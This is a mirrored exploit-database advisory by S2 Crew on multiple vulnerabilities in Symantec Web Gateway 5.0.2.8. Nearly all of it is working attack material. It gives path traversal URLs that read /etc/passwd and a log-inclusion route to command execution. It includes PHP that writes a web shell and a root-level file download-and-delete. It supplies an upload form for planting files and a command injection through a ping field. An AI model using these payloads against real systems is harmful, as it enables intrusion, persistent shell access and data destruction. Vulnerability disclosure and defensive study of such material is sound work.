symantec Web gateway 5.0.2.8 – Multiple Vulnerabilities

• Exploit Database
• 127 阅读

• 作者： S2 Crew
  日期： 2012-06-27
• 类别：

  • webapps
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/19406/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58

  Software: Symantec Web Gateway Current Software Version: 5.0.2.8 Product homepage: www.symantec.com Author: S2 Crew [Hungary] CVE: CVE-2012-0297, CVE-2012-0298, ???   File include: https://192.168.82.207/spywall/previewProxyError.php?err=../../../../../../../../etc/passwd   File include and OS command execution: http://192.168.82.207/spywall/releasenotes.php?relfile=../../../../../../etc/passwd You can execute OS commands just include the error_log: /usr/local/apache2/logs/ -rw-r--r-- 1 root root5925 Nov 15 07:25 access_log -rw-r--r-- 1 root root3460 Nov 15 07:21 error_log   Make a connection to port 80: <?php $f = fopen(&apos;/var/www/html/spywall/cleaner/cmd.php&apos;,&apos;w&apos;); $cmd = "<?php system(\$_GET[&apos;cmd&apos;]); ?>"; fputs($f,$cmd); fclose($f); print "Shell creation done<br>"; ?>   Arbitary file download and delete: https://192.168.82.207/spywall/download_file.php?d=/tmp/addroutelog&name=addroutelog d parameter: the complete filename After the download process application removes the original file with root access! :)   Command execution methods: 1.Method Download and delete the /var/www/html/ciu/.htaccess file. After it you can access the ciu interface on web. There is an upload script: /ciu/uploadFile.php User can control the filename and the upload location: $_FILES[&apos;uploadFile&apos;]; $_POST[&apos;uploadLocation&apos;];   2.Method <form action="https://192.168.82.192/ciu/remoteRepairs.php" method="POST" enctype="multipart/form-data"> <input type="file" name="uploadFile"> <input type="text" name="action" value="upload"> <input type="text" name="uploadLocation" value="/var/www/html/spywall/cleaner/"> <input type="hidden" name="configuration" value="test"> <input type="submit" value="upload!"> </form> The "/var/www/html/spywall/cleaner" is writeable by www-data.   Command execution after authentication:   http://192.168.82.207/spywall/adminConfig.php (this is deprecated config file, it should be remove)   From the modified POST message: Content-Disposition: form-data; name="pingaddress" 127.0.0.1<code>whoami>/tmp/1234.txt